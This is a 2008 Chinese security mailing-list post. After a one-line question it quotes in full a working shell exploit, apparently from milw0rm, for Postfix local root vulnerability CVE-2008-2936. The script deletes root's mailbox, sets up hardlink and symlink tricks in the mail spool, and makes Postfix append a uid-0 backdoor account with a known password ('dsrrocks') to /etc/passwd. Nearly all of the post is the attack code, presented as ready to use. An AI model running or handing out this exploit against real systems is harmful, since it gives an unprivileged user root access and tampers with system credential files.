要系统本地用户? 2008/9/1 大风 <[EMAIL PROTECTED]>
>
>
> #!/bin/sh
>
> #
>
> # "rs_pocfix.sh" (PoC for Postfix local root vulnerability: CVE-2008-2936)
>
> # by Roman Medina-Heigl Hernandez a.k.a. RoMaNSoFt <[EMAIL PROTECTED]>
>
> #
>
> # Tested: Ubuntu / Debian
>
> #
>
> # [ Madrid, 30.Aug.2008 ]
>
> #
>
>
>
> # Config
>
>
>
> writable_dir=/tmp
>
> spool_dir=/var/mail # Use "postconf mail_spool_directory" to
> obtain this
>
> user=root
>
> target=/etc/passwd
>
> useful_link=/usr/bin/atq # lrwxrwxrwx 2 root root 2 2007-05-04 22:15
> /usr/bin/atq -> at
>
> useful_link_dst=at # Tip: find / -type l -uid 0 -print -exec ls
> -l {} \; | less
>
> seconds=3
>
> user_in_passwd="dsr:3GsXLdEaKaGnM:0:0:root:/root:/bin/sh" # Pass is
> "dsrrocks"
>
> postfix=`which postfix` # /usr/sbin/postfix
>
> postconf=/usr/sbin/postconf
>
> postmap=/usr/sbin/postmap
>
>
>
>
>
> # Funcs
>
>
>
> quit()
>
> {
>
> echo "$1"
>
> exit
>
> }
>
>
>
>
>
> # Step 1: is my system vulnerable?
>
>
>
> head -n 9 $0 | tail -n 8
>
> if [ $postfix ] ; then
>
> echo "[*] Postfix seems to be installed"
>
> else
>
> quit "[!] Are you sure Postfix is installed?"
>
> fi
>
>
>
> mkdir -p $writable_dir/pocfix
>
> touch $writable_dir/pocfix/src
>
> ln -s $writable_dir/pocfix/src $writable_dir/pocfix/dst1
>
> ln $writable_dir/pocfix/dst1 $writable_dir/pocfix/dst2
>
>
>
> if [ -L $writable_dir/pocfix/dst2 ] ; then
>
> echo "[*] Hardlink to symlink not dereferenced"
>
> rm -rf $writable_dir/pocfix
>
> else
>
> rm -rf $writable_dir/pocfix
>
> quit "[!] Hardlink to symlink correctly dereferenced. System is not
> vulnerable"
>
> fi
>
>
>
> if [ -d $spool_dir -a -w $spool_dir ] ; then
>
> echo "[*] Spool dir is writable"
>
> else
>
> quit "[!] Spool dir is not writable"
>
> fi
>
>
>
> if [ -e $spool_dir/$user ] ; then
>
> rm -f $spool_dir/$user
>
> echo "[*] Mailbox for \"$user\" found. Trying to delete it"
>
>
>
> if [ -e $spool_dir/$user ] ; then
>
> quit "[!] Couldn't delete it"
>
> else
>
> echo "[*] Deletion ok"
>
> fi
>
>
>
> fi
>
>
>
> if [ -e $spool_dir/$useful_link_dst ] ; then
>
> rm -f $spool_dir/$useful_link_dst
>
> echo "[*] Mailbox for \"$useful_link_dst\" found. Trying to delete it"
>
>
>
> if [ -e $spool_dir/$useful_link_dst ] ; then
>
> quit "[!] Couldn't delete it"
>
> else
>
> echo "[*] Deletion ok"
>
> fi
>
>
>
> fi
>
>
>
> aliases=`$postconf alias_database | cut -d"=" -f2`
>
> $postconf alias_maps | grep -q $aliases
>
> if [ $? -eq 0 ] ; then
>
> if [ $aliases ] ; then
>
> $postmap -q $user $aliases > /dev/null
>
> if [ $? -eq 0 ] ; then
>
> quit "[!] Mail alias for \"$user\" exists"
>
> fi
>
> fi
>
> fi
>
>
>
> lda=`$postconf mailbox_command | cut -d"=" -f2`
>
> if [ $lda ] ; then
>
> quit "[!] Non-Postfix LDA detected"
>
> fi
>
>
>
> $postconf home_mailbox | grep -q '/$'
>
> if [ $? -eq 0 ] ; then
>
> quit "[!] Maildir-style mailbox detected"
>
> fi
>
>
>
>
>
> # Step 2: Exploiting
>
>
>
> ln -f $useful_link $spool_dir/$user 2> /dev/null || quit "[!] Couldn't create
> hardlink (different partitions?)"
>
> ln -s -f $target $spool_dir/$useful_link_dst 2> /dev/null || quit "[!]
> Couldn't create symlink pointing to target file"
>
> cp -f $target $writable_dir/pocfix_target_backup.$$ && echo "[*] Backed up:
> $target (saved as \"$writable_dir/pocfix_target_backup.$$\")"
>
> echo "[*] Sending mail ($seconds seconds wait)"
>
> echo $user_in_passwd | /usr/sbin/sendmail $user
>
>
>
> sleep $seconds
>
>
>
> diff -q $target $writable_dir/pocfix_target_backup.$$ > /dev/null
>
>
>
> if [ $? -eq 0 ] ; then
>
> echo "[!] Exploit failed"
>
> else
>
> echo "[*] Exploit successful (appended data to $target). Now \"su dsr\",
> pass is \"dsrrocks\")"
>
> fi
>
>
>
> rm -f $spool_dir/$user
>
> rm -f $spool_dir/$useful_link_dst
>
>
>
> # milw0rm.com [2008-08-31]
>
>
>
>
>
>
>
> *[Ph4nt0m] <http://www.ph4nt0m.org/> *
>
> *[Ph4nt0m Security Team]*
>
> * [EMAIL PROTECTED] <http://blog.ph4nt0m.org/>*
>
> * Email: [EMAIL PROTECTED]
>
> * PingMe:
> <http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=hanqin_wuhq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724>
> *
>
> * **=== V3ry G00d, V3ry Str0ng ===*
>
> * === Ultim4te H4cking ===*
>
> * === XPLOITZ ! ===*
>
> * === #_# ===*
>
> *#If you brave,there is nothing you cannot achieve.#*
>
>
>
>
>
> >
>
--
I am aking
--~--~---------~--~----~------------~-------~--~----~
要向邮件组发送邮件,请发到 [email protected]
要退订此邮件,请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---
<<inline: image001.gif>>

